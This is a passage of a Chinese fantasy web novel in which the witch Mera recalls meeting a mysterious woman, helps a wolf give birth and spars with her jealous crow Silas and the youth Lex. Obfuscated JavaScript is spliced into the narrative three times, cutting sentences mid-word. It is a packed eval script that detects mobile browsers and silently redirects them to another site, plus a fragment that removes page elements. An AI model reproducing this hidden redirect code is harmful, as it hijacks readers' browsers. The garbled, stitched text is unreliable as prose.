“嗯嗯。”梅拉生怕威普多再问点别的,忙不迭地跑了,好在威普多急需上门诊治一个高烧的病人,没法揪住梅拉,只能看着她的背影消失在了镇子外。 呼,跑出白松镇后,梅拉不由得在心底松了口气。 她深知一个谎言想要不被揭穿,就不能说太多的细节,更何况威普多不是会抓着她喋喋不休的类型,等到她从山上回来,威普多顶多问一句采到草药没有,而不会追根究底她到底采了哪样草药。 梅拉上山,是想看看能不能找到那个神秘女人的踪迹。 关于女人的身份,从她轻易能令自己直接昏睡过去来看,梅拉心中已经隐隐有了一点猜测。 是女巫吧。梅拉想。 虽然一直以来不管是教会还是国王,都在宣扬女巫是天生的罪人,是不可接近的恶徒,她们会把无辜的平民抓起来狠狠折磨,等到他们奄奄一息时再取走他们的鲜血与脏器喂给自己的宠物——但梅拉却并不像其他人一样对女巫充满了畏惧。 或许是因为没有一个母亲从小在耳边同她讲女巫的邪恶故事。 而令人感到害怕的鲜血与脏器,梅拉早就在给威普多帮忙的时候见过更加血腥的场面了,曾经有一个年轻的猎人,在深夜敲响了梅拉家的门,乞求威普多救救他。 当时穿着碎花睡裙的梅拉就替父亲高高地举着煤油灯,照亮了猎人腹部血淋淋的伤口,以及他掉出来的肠子。 给猎人敷上草药,包扎完毕,再把他送走之后,威普多还笑着摸了摸梅拉的头发,夸她勇敢。 “想要成为一名医士,就不能害怕鲜血。”威普多这么对梅拉道。 “我明白的,父亲,我不怕。”梅拉不仅不怕,还若无其事地打了个哈欠,“我困了,要去睡觉了。” “好,那你把灯给我吧。”威普多从梅拉手里拿过那盏煤油灯,示意她先回房间睡觉,而他则得把乱糟糟的地面处理干净。 刚才那个年轻的猎人流的血太多,把地面都弄脏了。 若是就这么放着不管,第二天准保把其他登门的病人吓一跳。 * “吱嘎。”靴子踩在枯瘦的树枝上,发出清脆的一声。 梅拉探头探脑地四下张望,没有,没有,还是没有,连一点可疑的血迹都找不到。 也不知道那个女人顶着那么重的伤跑哪去了。 梅拉绕着昨天撞见那个女人的地方转了一圈又一圈,怀疑她极有可能已经离开了,甚至有可能为了躲避像她这样好奇的孩子,干脆直接离开了这座山。 山下就是白松镇,她若是来到白松镇,梅拉不可能不知道。 但山的另一头,是黑河镇,而黑河镇算是一个小型的枢纽,四面八方通往不同的领地。 没错,白松镇实际上位于菲斯特领的领地边缘。 时不时还有商人来购买白松蜡蜡烛,卖到其它领地去,只不过他们买通了税务官,把本应该缴纳给菲斯特子爵的税金,分出一小部分,将税务官的钱袋填得鼓了起来。 税务官便对此一言不发,反正也不会有人来查。 包括梅拉的母亲艾尔薇,其实是从其它领地逃难过来的平民,但收到威普多诚意满满的一袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的五官长得不算特别漂亮,但也不至于沦落到平平无奇的地步,尤其是那双艳丽的红唇,格外吸引梅拉的注意。 而且她的头发竟然是红色的诶。 和梅拉的头发一模一样。 因为整个白松镇根本找不出第二个红头发的孩子,梅拉小时候还因为这头红发被排挤,被欺负。 但这是母亲艾尔薇留给她的红发,梅拉一点也不觉得难堪和自卑,反而想办法把这些企图戏弄她,让她出丑的孩子报复了回去。 谁让威普多是白松镇唯一的医士呢?一旦有个头疼脑热,大家只能找威普多,又怎么敢让自家孩子和梅拉交恶。 威普多简直把这个唯一的女儿宠上天去了。 是真的有可能因为梅拉的一句话让上门求救的病人去找神父的。 而谁都不能说威普多的建议有错,他说自己医术不够,没法治好这病,只能让你去乞求神的怜悯,难道不对吗?莫非你质疑教会,质疑神?那你就是异教徒,来人啊,快去把这事告诉神父,让他派人把异教徒的财产全部没收,再把人关到监狱里去。 女人因为自己长相的暴露有一瞬的惊慌,但很快,她的嘴唇微张,似乎又要对梅拉施加咒语。 但比她更快念完咒语的是梅拉。 只听了一遍,梅拉就把那个令她昏睡的咒语记住了。 下一秒,倒下去的是那个眼中带着不可置信的女人。 19. 第 19 章 “后来呢?” 莱克斯听得入迷。 就连靠在梅拉怀中的塞拉斯也睁大了眼睛,屏息凝神,静静等待下文。 因为梅拉过去从未主动提及这些事,塞拉斯便压抑着好奇心,从不开口探究梅拉的过往。 塞拉斯只知道,从它被梅拉抱回位于白松镇的家时,梅拉就已经是一名货真价实的女巫了。 塞拉斯也从没见过梅拉的父亲,那个叫威普多的男人,只记得二楼有个上了锁的房间,是那栋二层小楼中不被允许踏入的禁地。 然而好奇心可以害死猫,也能害死乌鸦,塞拉斯聪明地选择了视而不见。 秘密么,活在世上谁能没有秘密呢?连塞拉斯都偷偷收下过不少次来自杰克的贿赂——一位即使被梅拉拒绝了十二次仍痴心不改的追求者——经常是一袋炸得酥香的蚕豆,咬起来嘎嘣脆。 当然了,伤害梅拉的事塞拉斯才不干,但杰克只是希望塞拉斯帮他盯着梅拉身边有没有别的男人出现——看在蚕豆的面子上,塞拉斯矜持地点头答应了。 见莱克斯和塞拉斯都巴巴地等着自己把故事讲完,梅拉忽然动了坏心眼,偏不愿意往下讲了。 于是梅拉笑吟吟的捋了一把塞拉斯背上的羽毛,道,“雨停了,该回去了。” 说完,她率先走出了山洞。 “……” 重新飞起来的塞拉斯难得与莱克斯对视一眼,不约而同地冒出了同一个心声:哪有人讲故事只讲到一半就不管了的?梅拉可真是太会吊人胃口了! 可莱克斯到底是莱克斯,他快速地收拾好自己的心情,跟在梅拉身后一起离开了山洞。 雨后的道路总是泥泞不堪的,鞋子踩上去,黏腻的触感即使隔着鞋底都有点令人犯恶心。 更别提把鞋子拔出来时,“啵”的一声,鞋底周围沾上了厚厚的一层泥。 注意到莱克斯露出了不太美妙的表情,塞拉斯顿时发出一阵幸灾乐祸的笑声。 结果只是一个错眼,没发现前方突然斜出来了一枝绿意盎然的枝条,塞拉斯就这么直愣愣地撞了上去。 枝条上缀满了圆乎乎的叶子,叶子上又盛着一粒粒透明的水珠,沉甸甸的重量以至于身子都被压弯了,让塞拉斯这么一撞,霎时狠狠地抽了它一道,还甩了它一脸新鲜的雨水。 痛得塞拉斯忍不住大呼小叫起来。 却再也不敢不好好看路了。 身旁传来梅拉毫不掩饰的笑声,莱克斯更是勾起了唇角,眼中隐隐有笑意浮动。 山洞的位置距离小木屋其实并不算太远,梅拉他们只走了不到半个小时,就远远地望见了小木屋那熟悉的尖顶。 等他们加快速度再走了一会儿,小木屋紧闭的木门便近在眼前了。 梅拉三步并作两步,快步走上台阶,再稍一使力推开木门,发出“嘭”的一声闷响,是门撞在了墙上。 而屋子中央的坩埚像是被这响声惊醒了似的,屁股底下倏地冒出火来,熊熊燃烧着,很快便将锅里的大半锅水煮沸了。 正好,梅拉迫不及待地拿了衣服,提着一桶热水到河边洗澡去了。 等梅拉洗干净一身雨水,换掉湿漉漉的脏衣服,神清气爽地回来后,发现莱克斯为她泡的一壶花草茶也好了。 空气中氤氲着一股浅淡的香气。 是洋甘菊的味道。 “哎呀,莱克斯你可真是越来越贴心了。” 梅拉捧起杯壁尚且滚烫的茶杯,就着腾腾升起的白雾浅浅地呷了一口,只觉得随着加了蜂蜜的茶水一路从喉咙滚到四肢百骸,蒸发了体内最后残存的一点寒意,简直浑身都舒坦得要命。 鼻腔内属于洋甘菊的香气涌动间,梅拉更是舒服得微微仰起脸,眼睛都眯了起来。 只见黑色的裹身裙宽松地套在梅拉的身上,露出了脖颈至领口处一大片雪白的肌肤。夜风吹至半干的长发则柔顺地垂在她身后,只有几缕散乱的碎发搭在肩头。 而昏黄的灯光则一寸一寸地描摹她的五官,留下起伏的阴影,神秘且引人遐想。 坩埚内,沸腾的水还在不断发出咕嘟声,窗外偶尔响起两声忽大忽小的蛙鸣。 塞拉斯踩着的栖杆正随着它的动作时不时晃动,负责固定的绳索绞紧,粗糙的草质互相摩擦,造成了非常细微的响动。 不知为何,眼前这一幕让莱克斯自心底油然而生出一种难以言喻的放松。 好像在这座小木屋里,他可以卸下全部的防备与警惕。 要知道即使在王宫,自己的房间里,莱克斯都不曾感受过这样由内而外的轻松。 “你在发什么呆呢?”梅拉睁开眼,见莱克斯愣愣地站在坩埚前出神,伸出手在他眼前随意地晃了两下。 “没什么。”莱克斯骤然回神。 接着像是为了掩饰什么,他刻意加快了手上的动作,很快便提着满满当当的一桶热水径自去往河边。 梅拉摩挲着下巴,总觉得莱克斯离开的背影颇有些落荒而逃的意味。 * 等莱克斯从河边洗完澡回来,梅拉早已坐在摇椅上看起了书,而塞拉斯则把脑袋埋在翅膀里,打起了小呼噜。 这时候不得不感叹,有防水的羽毛就是好啊。 “回来了?”梅拉听到脚步声,从书页中抬眼,有些意外地发现从侧面看去,男孩脸上的棱角渐渐有了更加硬朗的趋势。 大概再过几年,漂亮的男孩就能长成英俊的少年了。 只不过当莱克斯转过来,露出正脸,眉眼间的青涩毋容置疑。 还是能被称为孩子的年纪呢。梅拉为自己刚才一闪而过的念头哑然。 “嗯。”莱克斯低低地应了一声。 这是他从塞拉斯身上学会的,不管梅拉说什么,他都应该作出一点回应来。 这样梅拉的心情就会变得更好。 “困了你就先睡吧,我头发还没干。”果然,梅拉难得体贴地道。 说着,她搭在膝盖上的书又翻过了一页。 莱克斯犹豫了一下,还是主动提出来,“用毛巾擦一擦可以干得快些。” “我知道,但我懒得弄,反正现在我也还不困。” 没想到话音刚落,梅拉就不受控制地打了个哈欠,眼角隐隐闪现着水光。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,已经全部擦干了。”莱克斯道。 “太好了,我简直困得要命……” 梅拉是真的困,嘴里的话都没来得及说完,便闭上了眼睛,彻底睡了过去。 随着她手上的力道一松,原本拿着的书也差点掉到了地上。 千钧一发之际,是莱克斯伸出手接住了书。 常年练剑的反应力自然不是盖的,只不过白皙的指节上也满是练剑练出来的茧子。 因为有段时间没有握剑了,莱克斯手上的这些茧子摸起来比之前薄了一些,不过等杜克瓦托带着他想要的东西前来,估计它们也会跟着恢复如初。 作为屋子里唯一清醒着的人,莱克斯把书放好,然后熄灭了煤油灯。 原本亮堂的小木屋顿时暗了下来。 门已经关上了,唯有月光越过窗台,静静地流淌了一地。 莱克斯躺到属于自己的毯子里,也闭上了双眼。 很快,屋内响起了第三道平和的呼吸声。 20. 第 20 章 冰雪刚刚消融,春天的痕迹尚未开始蔓延,呵出的气息仍然化作了空中的一缕白雾,朝着远方逸散。 梅拉拢了拢身上罩着的羊绒披肩,感觉指尖依旧带着点寒意,翻书的动作都有点几不可见的僵硬。 她要是能像莱克斯一样就好了。 想起早上莱克斯背着弓箭出门时,已经换上了轻薄的衬衣,梅拉的心底就忍不住冒起一点对少年人的嫉妒。 明明她也才二十六岁,自觉和十七岁时的自己比起来并无太大的改变,但十七岁的梅拉敢在三月份就脱下冬装前往清晨的山林,顶着晨雾,听风裹着高大的杉树飒飒地吹。 而二十六岁的梅拉只有用羊绒披肩把自己裹紧,再喝一杯热气腾腾的花草茶,才能让身体彻底暖和过来。 可惜梅拉才端起茶杯,加了满满一勺蜂蜜,从而变得甜滋滋的茶水刚碰到唇边,小木屋就迎来了一位意料之外的客人。 一头长相威武霸气的黑狼突然闯入小木屋之中,昂着脑袋,冲坐在摇椅上的梅拉直叫唤,气势骇人。 它的个头比一般的狼要大了足足一圈,浑身上下充斥着勃/发的兽性,隐隐还能从咧开的嘴角看到白色的尖牙,仿佛下一秒就能跳上来一口咬断你的喉咙。 如果换了别人,猝不及防面对这么一头危险的大黑狼,大概此刻已经害怕得直接跌坐在地上,涕泪横流地求饶了。 可梅拉只是淡定地放下了手中的茶杯,走下摇椅,来到黑狼的面前,问它,“出什么事了?你想找我帮忙?” 语气间颇有些熟稔。 黑狼不愧长了这么大的个头,聪明程度异于常狼,它像是听懂了梅拉的话一样,忙不迭地点头,碧绿色的兽瞳中含着不加掩饰的焦虑。 它作势去咬梅拉的裙角,一副想拽着梅拉跟它走的模样。 “等等,你还没说到底发生了什么事呢?我总不能就这么两手空空地跟着你走吧?否则怎么给你帮忙?”梅拉连忙制止了黑狼。 黑狼想了下,觉得梅拉说得对。 但让它口吐人言还是太为难它一头狼了,它只好滚在地上,用一对爪子捧住肚子,发出“嗷呜嗷呜”的叫声,叫得格外凄切。 肚子、痛苦,梅拉瞬间领悟了黑狼的意思,“是不是你的妻子要生小狼崽了?但是生产困难,所以需要你来找我帮忙?” 闻言,黑狼迅速爬起来,冲梅拉疯狂点头。 好吧,既然是这事,那就不能再继续耽误下去了,否则母狼很有可能坚持不到她们赶回去。 梅拉抄起平时采草药用的篮子,“噔噔噔”地跑到靠墙的那一大面橱柜前,拉开抽屉,翻出剪刀和针线,一股脑地丢了进去。 幸好这些年莱克斯将这些容易丢失的小物件都井井有条地收纳了起来,放到了固定的位置,否则按梅拉之前把东西随意乱丢的习惯,一时半会儿还真不一定能迅速找到它们。 接着梅拉又从一格格的柜子上抓下几瓶颜色不一的药剂丢进篮子里,做足了最坏的准备。 这下只要母狼还存着一口气,她就一定能把它给救回来。 “好了!”梅拉收拾完毕,走过来拍了拍黑狼的脑袋,示意它赶紧给她带路。 黑狼却蹭了蹭梅拉的腿,似乎是想让梅拉坐到自己背上,驮着她跑。 也对,四条腿的速度可比两条腿快多了。 然而尽管黑狼的个头已经很大了,人立起来有近两米高,但想驮着梅拉一路跑回洞穴大概还是有些困难的。 毕竟梅拉虽然算不上胖,但也不是纤瘦得仿佛薄薄一张纸片,风一吹就能被吹跑的类型。 有可能半路上黑狼就该吐着舌头累坏了。 不过梅拉可是女巫啊,这怎么可能难得倒她呢? 只见梅拉对着黑狼念出咒语,眨眼间,就得到了一头身长足有四五米的巨狼。 巨狼趴伏下来,方便梅拉爬上它的背。 “好了,我们快走吧。”梅拉坐在巨狼毛发蓬松的背上,没有拎着篮子的另一只手攥紧了巨狼的一撮毛,防止待会儿跑起来她被甩出去。 确认梅拉坐稳了之后,巨狼一下子跑得飞快。 途径的风将梅拉的衣袖吹得猎猎作响,红色的长发更是在她的身后肆意飘扬。 然而梅拉忘了自己的身上还搭着一条披肩,一下被风带着往后跑远了。 “诶!”可惜梅拉已经没有多余的手把披肩及时按住,只能眼睁睁地看着它飘啊飘,最后不知落到了何处。 算了,之后再去把它找回来吧。梅拉尽可能地伏低身子,贴紧了巨狼的毛毛,阻止冷风从领口灌进自己的衣服里。 变大后的黑狼跑一步抵得上原来跑两三步,几乎是转瞬的功夫就跑出了几十米开外。 它内心担忧着洞穴里妻子的情况,干脆带着梅拉抄了原本不敢走的近路。 这条布满了低矮灌木,荆棘丛生的荒僻小路对狼来说算不上什么,它们不像人类,皮肤娇嫩,轻轻一划就是一道口子。 但路过的风捎来了好几种令兽忌惮的强大敌人的气味,即使是黑狼,一般情况下也会选择绕开这里,避免和这些猛敌发生正面冲突。 可现在不一样了,黑狼变得更加高大与威猛,它一路疾驰而来,愣是没有其它野兽胆敢靠近,顶多在远处鬼鬼祟祟地露出半个身子,偷偷观察它有没有靠近自己领地的打算。 黑狼目不斜视,一路朝着尽头的方向狂奔。 随着它逐渐靠近,眼前突然出现一个好几米高的山坡,阻碍了去路。然而黑狼没有任何犹豫,爪下用力,一蹬,具备强大爆发力的身躯舒展开来,顶级狩猎者的肌肉线条在初春的午后那不带温度的日光下若隐若现,连毛发的尖端都似乎闪着光泽,仿佛画作中才会出现的一幕。 梅拉在黑狼的背上发出一声惊呼。 这和坐在塞拉斯的背上飞翔不一样,当黑狼跳起来时,梅拉的身体跟着一起往后倾,好像下一秒就要掉下去了似的。 但一个眨眼的功夫,黑狼的爪子落到了坚实的地面上,惯性又将梅拉拉回了毛绒绒之中。 脸扑在黑色的狼毛中,梅拉忍不住回味刚才那一瞬的刺激。 在地上跑的和在天上飞的感觉果然不一样,可惜塞拉斯的嫉妒心太强,她是没法再养头狼当宠物了。 * 等黑狼驮着梅拉抵达自己的洞穴时,正好赶上母狼因为失血过多而变得奄奄一息。 望着朝自己跑来的丈夫,母狼忍不住发出了低低的呜咽。 它不畏惧死亡,但它肚子里的狼崽子们还没能亲眼看这个世界一面。 兽性之下,母爱更是它的本能。 黑狼见状,简直急坏了,恨不得去含母狼的吻部,给予它支持与力量,但它现在的体型若是进去,能直接把洞口给牢牢堵住,说不定洞穴都给挤塌了。 无法,黑狼只能焦急地伏下身体,放下梅拉,目送她走到母狼身边蹲下。 梅拉先仔细地查看了母狼的情况,还好,还没到最糟糕的地步,只不过是因为它初次生产,没有掌握省力的技巧,再加上狼崽子的位置有点不对,才努力了半天都没能生下第一只狼崽。 “没事,喝几滴药水就行了。” 梅拉舒了口气,这样一看,她连剪刀都不必拿出来,只拿出一瓶紫色的药剂,拔开木塞,往母狼嘴里倒了几滴。 仅仅是几滴药水,都用不着吞咽,便飞速地融化在母狼的嘴中。 而母狼虽然不知道梅拉给自己喝的是什么,却能感受到失去的力气飞快地回到了身体里,又能重新使劲把腹内的孩子们生出来了。 它的精神顿时为之一振。 “加油啊。”梅拉不忘给它鼓励。 闻言,母狼也很争气。 只见它一鼓作气,把四个孩子全都生出来了。 刚出生的四只小狼崽连眼睛都没睁开,只知道拱在母亲的腹部。 母狼一脸怜爱,逐一舔了过去。 “太好了,母子平安。”梅拉笑弯了眼睛。 她连忙出去告诉黑狼这个好消息。 黑狼的脸上同样露出喜色,它低头,想蹭一蹭梅拉,结果因为头太大,被梅拉挡了下来。 “我还是先把你变小了再说吧。”梅拉道。 否则她担心这么大只的黑狼一蹭,能把自己直接掀翻在地。 随着梅拉贴着黑狼的吻部念念有词,呼吸间,黑狼渐渐缩小回了它原本的个头。 当然,哪怕是它原本的个头,站起来的时候脑袋也快挨到梅拉肩膀上去了。 “手感真好。”梅拉这回抱着狼头尽情地抚摸那身油光发亮还蓬松的毛发,再一次可惜自己不能拐只狼回去当宠物。 冬天的时候如果能抱着这么一只毛绒绒的动物,一定很暖和吧。 “天哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725604|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !梅拉你在干什么?你竟然在摸别的动物!” 和莱克斯一路找来的塞拉斯远远地看见了与大黑狼贴在一起的梅拉,气得直接大喊大叫,抛下莱克斯便像一支离弦的弓箭似的冲向了梅拉。 难得有些心虚的梅拉松开了黑狼,接住了冲过来的塞拉斯,安抚似的拍了拍它的脑袋。 “虽然我摸了别的动物,但只有你才是我唯一的宠物啊。” 原本还气冲冲的塞拉斯一下子就让梅拉哄得找不着北了,“那你答应我,你的宠物永远只能有我一个。” 如果是这样的话,那梅拉偶尔摸摸别的动物也不是不行,比如眼前这头黑狼。 虽然它的毛发不如塞拉斯的鸟羽具备独一无二的光泽感,它也只会嗷呜嗷呜乱叫,不能像塞拉斯一样为梅拉解忧。 但塞拉斯也理解梅拉偶尔会流连一时的新鲜。 再好吃的食物吃多了也会腻,鸟羽摸多了想摸摸狼毛也很正常,因此塞拉斯只要求在梅拉的心里,它永远是唯一的那个就够了。 “当然了,这世上还有哪只乌鸦能像我的塞拉斯一样聪明又忠心、体贴又热情呢?”只要梅拉想哄谁,甜言蜜语就能源源不断地从她嘴里流出来。 看吧,塞拉斯早已被她哄得心花怒放。 此时,一直被这对主仆忽略的莱克斯默默走上来,将怀里抱着的羊绒披肩拿出来,递给了梅拉。 “咦,这条披肩竟然被你捡到了吗?”梅拉有些诧异,很快喜滋滋地道,“正好,这下我就不用费心去找它了。” 莱克斯“嗯”了一声,“是在来找你的路上看见的。” 莱克斯是在一根光秃秃的树杈子上发现了这条眼熟的羊毛披肩。 当时他一面为自己没有找错方向而舒了口气,一面又担心梅拉是不是出了什么事,才不慎落下了这条披肩。 好在梅拉一切平安,还能笑眯眯地和黑狼挥手,示意它回洞穴里陪自己的妻儿去吧,她现在要跟着莱克斯与塞拉斯回小木屋去了。 路上,梅拉把黑狼是如何找上门来,她又是怎样救了母狼和四只小狼崽的事情简单地描述了一下。 “那你们呢?怎么突然来找我了?”梅拉问道。 她还以为这回又和往常一样,塞拉斯缠着莱克斯一起打猎,不玩到尽兴就不肯回去。 虽然塞拉斯还是只雏鸟的时候就让梅拉捡了回去,压根没跟着母鸟学习多少捕猎技巧,让它自己捉猎物那肯定是行不通的。 但塞拉斯会飞啊,它能飞在空中替莱克斯提前侦查附近有什么猎物。 等莱克斯悄然拉弓,用箭将猎物钉在了地上之后,塞拉斯再从空中俯冲下来,狠狠地吓可怜的猎物一跳,然后发出一阵兴高采烈的坏笑。 梅拉曾旁观过一次他们的狩猎,只觉得塞拉斯越来越像传说中邪恶的女巫宠物了。 “我和塞拉斯回到小木屋后没有看见你,又在小木屋前的空地上发现了几个巨大的兽类脚印,担心你出了事,所以才一路找了过来。” 莱克斯同梅拉解释道。 “噢,你担心我。”梅拉弯起了眼睛,好似天边那一勾若隐若现的月牙。 “对,我担心你。虽然我知道黑暗森林里能伤害到你的野兽根本不存在,但我无法克制不去想象你受伤的样子。” 可惜,这几年来,随着身高逐渐挺拔,已经长成英俊少年的莱克斯再也不会像小时候一样轻易脸红了。 他侧过脸,绕过一根即将打到额头的树枝,那双璀璨如黄金的眼眸就这么定定地与梅拉对视,分外坦诚。 当然,从他把梅拉接下来要说的话堵得死死的,就知道他这番话不是随意说出来的了。 莱克斯就是故意的。 心思也远没有他表现出来的那样坦诚。 “……莱克斯,你变得一点都不可爱了。”梅拉忍不住控诉。 “是吗?那可能是因为我长大了吧。”莱克斯勾起唇角。 若是这幅继承了曾经的王国第一美人莉莉勒斯的好样貌能在王宫召开的舞会上亮相,一定能迷倒一大批人。 然而梅拉不上当,她反而突然一脸怜爱地看向塞拉斯,果然,还是塞拉斯好。不管过去多少年,都是这副傻得冒泡的模样。 像狼崽子一旦长大,自然而然地就变坏了。 还有一年,梅拉与莱克斯同时在心中想到,他们的约定就要结束了。 21. 第 21 章 “你又来啦。” 自从上次梅拉替黑狼救下母狼,还帮助母狼顺利产下小狼崽后,这头黑狼三不五时就要叼着猎物送来小木屋。 有时候是几只野兔,有时候是一头小羊羔。 大概是因为黑暗森林里植被丰茂的缘故,这类食草的动物各个都把自己养得滚圆,用来蹦跳的四条腿更是格外有劲,看着十分嫩弹。 塞拉斯头一回见到黑狼叼着猎物前来,还会扯着嗓子朝屋子里大声叫唤,“梅拉!莱克斯!大黑狼叼着一头小羊羔来了,你们快来看啊!” 叫唤完,塞拉斯便飞到被黑狼放到地上的小羊羔身旁,一双黑豆眼不停地来回打量。 塞拉斯不懂得分辨猎物的好坏,但这头小羊羔的分量肉眼可见,足够他们吃上好几顿了,尤其是这四条腿,塞拉斯已经迫不及待怀念起曾经吃过的,油汪汪、且香料味十足的烤羊腿了。 看在梅拉的面子上,黑狼放任了塞拉斯的靠近。它则蹲坐在一旁,伸出舌头,把嘴角的血迹舔干净了。 虽然梅拉不害怕血,但她却会因为裙子上沾了血而狠狠揉搓黑狼那对毛茸茸的大耳朵。 以防万一,黑狼还是先把自己弄干净了再说。 “让我看看小羊羔在哪里。”听到塞拉斯的声音,梅拉慢吞吞地从小木屋里走出来。 等到梅拉看见那头被母羊养得肉嘟嘟的小家伙,她笑眯眯地在黑狼面前蹲下,摸了摸它的脑袋,“是特地送来答谢我的礼物吗?我很喜欢。这么肥嫩的一只小羊羔,我会好好享用它的。” 黑狼又低低地呜咽了一声。 虽然梅拉没有来抱它,但黑狼主动地用自己的脑袋往梅拉的手心蹭了蹭,然后它一扭头,毫不留恋地走了。 母狼还带着四只嗷嗷待哺的小狼崽子在洞穴里等着它带吃的回去呢。 只有充足的食物,才能让母狼泌出足够的乳/汁。 尤其几只小狼崽子不愧是它的孩子,胃口天生就比普通的狼崽子要大,动不动就嗷嗷叫唤,蹭到母狼身下,表示自己饿了。 对于动物来说,能吃就代表着健康,看来当初母狼的难产并没有对孩子们造成多大的影响。 这让黑狼一面开心,一面深感身上的压力庞大。 没办法,它和母狼是脱离狼群,独立结成的小家,如今母狼需要留在洞穴里照顾孩子们,狩猎的重担只能全部落在了它的头上。 好在黑狼的身手向来矫健,加上春天来临,原本躲起来过冬的动物们纷纷出来觅食、诞育新的生命,黑狼想找到食物还是很容易的。 只不过得多费几趟功夫。 譬如它需要先跑一趟,把刚刚得手的猎物送去小木屋,再跑一趟,抓到新的猎物,带回自己的洞穴里投喂母狼。 后来黑狼来的次数多了,连塞拉斯都渐渐习以为常,不再大惊小怪。 顶多懒洋洋地投去一眼,说一句,“你又来啦。” 算是和黑狼打招呼。 一般黑狼见到梅拉或是莱克斯,确认自己送来的猎物不会被别的动物夺走后,就会扭头离开。 但今天黑狼来得不巧,梅拉正在煮一锅新的药水,没法抽身,莱克斯又出门去了。 于是黑狼把叼来的小羊羔放下,静静地守在一旁,毕竟在它眼里,塞拉斯可不像是能守住猎物的样子。 然而见黑狼今天竟然留了下来,塞拉斯梳理羽毛的动作一顿。 虽然这些天黑狼送来的猎物它一个不落地吃了一部分,但黑狼送猎物的举动实际上还是在小心眼的塞拉斯这儿留了根刺,它总觉得黑狼是在讨好梅拉,没看见梅拉时不时就要念叨一句: “也不知道黑狼下次什么时候来?” “最近兔子吃腻了,黑狼要是能带只羊羔来就好了。” 可恶,本来多了个莱克斯和它抢梅拉的注意力就算了,现在难道还要再挤一头黑狼进来吗? 想到这,塞拉斯从窗台上飞下来,落到已经咽气了的小羊羔旁边,装模作样地绕着它走了一圈,嘴里不忘挑三拣四: “今天这只小羊羔的个头可没有上回带来的那只大,也就勉勉强强吧,腿这么瘦,就算单独切下来做烤羊腿也没几两肉。” 闻言,黑狼只是淡淡地瞥了塞拉斯一眼,发出一声不屑的轻哼。 那样子仿佛在说,“换做是你,怕是连这样一只小羊羔都猎不到,有什么资格在这里挑挑拣拣”。 ? 塞拉斯神奇地领悟了黑狼的意思。 然后塞拉斯就怒了。 完全忘记了明明是它故意挑衅黑狼,才换来黑狼的反击。 “你竟然敢小瞧我!”塞拉斯重重地从鼻腔里哼出一声,“我可是也往小木屋带回过不少猎物的,其中还有一头正值壮年的雄鹿。怎么样,这你猎不到吧?” 塞拉斯得意洋洋地抬起下巴,结果发现自己站在地上压根无法蔑视黑狼,它还没狼腿高。 于是塞拉斯拍打着翅膀飞起来,做足了居高临下的高傲姿态。 即使是黑狼,在没有狼群的助力下,也不可能敢轻易贴近雄鹿的身边,那对巨大的树杈子一样的犄角一顶,可是能把狼直接顶飞出去,甚至顶出一个血糊糊的洞来的。 只不过黑狼可不是好骗的,它立刻用怀疑的眼神盯着塞拉斯,像是在质问,“就你?你能猎到一头雄鹿?” “当然!”塞拉斯毫不畏惧地迎上黑狼打量的目光。 它可没说谎。 虽然那头雄鹿主要是被莱克斯用箭射死的,但如果没有它塞拉斯给莱克斯报信,莱克斯也不可能知道几百米外有一头雄鹿正在河边喝水,再让他找着机会悄悄地摸到边上的灌木丛后,搭起弓箭,拉满,射出。 下一秒,雄鹿被箭矢射中,直接倒地。 莱克斯忙不迭地射出第二箭、第三箭,直到看见雄鹿不再挣扎,彻底咽气后,才带着落到肩头的塞拉斯上前,把它一路拖回了小木屋。 总之,塞拉斯自认为能猎到雄鹿,其中也有一份属于它的功劳。 见塞拉斯的态度十分坚定,不像作假,黑狼难得有一丝动摇,难道这只看起来弱小不堪的乌鸦真的能猎到一头雄鹿? 不,黑狼猛地摇了摇头,不可能,这只狡猾的乌鸦一定是在骗狼。 “你们在聊什么呢?”梅拉终于从小木屋里走出来。 看见黑狼身旁的小羊羔,梅拉顿时眼睛一亮,“太好了,我正想吃羊肉呢,你可真是和我心有灵犀。” 梅拉忍不住蹲下来抱住黑狼的脑袋,拿自己的脸去蹭它。 黑狼也任由梅拉蹭自己,无论梅拉是要捏它的耳朵还是要挠它的下巴,都伫立不动,像一尊威严的雕像。 它也只对梅拉如此亲近。 像莱克斯,就不准摸它。 莱克斯只要有靠近它的意图,黑狼立刻就会对他呲出獠牙,一副你敢过来就咬你的模样。 当然,偶尔也有例外。 比如现在,梅拉冲着黑狼身后呼唤道:“莱克斯,快过来!” 看在梅拉的要求上,黑狼默许了另一道脚步声靠近自己,在梅拉面前蹲了下来。 莱克斯今天出门是为了摘野樱桃。 梅拉最近特别想吃樱桃,可距离杜克瓦托上一次送东西来才过去不到三天,又为了这事让他专门跑一趟,即使是梅拉也会觉得不好意思。 可嘴馋就是越吃不到越馋,梅拉一连好几天都在唉声叹气。 没办法,莱克斯只好出门,到处寻找野生樱桃树的踪迹。 没想到,竟然还真给他找到了。 只不过因为缺少人工的照料,这些野樱桃的个头算不上大,吃起来也比较酸涩。 但莱克斯想到食谱上写过一道菜,叫丁香樱桃糊,做法并不难,只需要将樱桃加热到变软,再放入棉布袋中,丢入锅里煮上几个小时,期间不断搅拌,让流出来的汁液变得浓稠,再加入蜜糖与丁香粉便大功告成了。* 这样一来,即使是 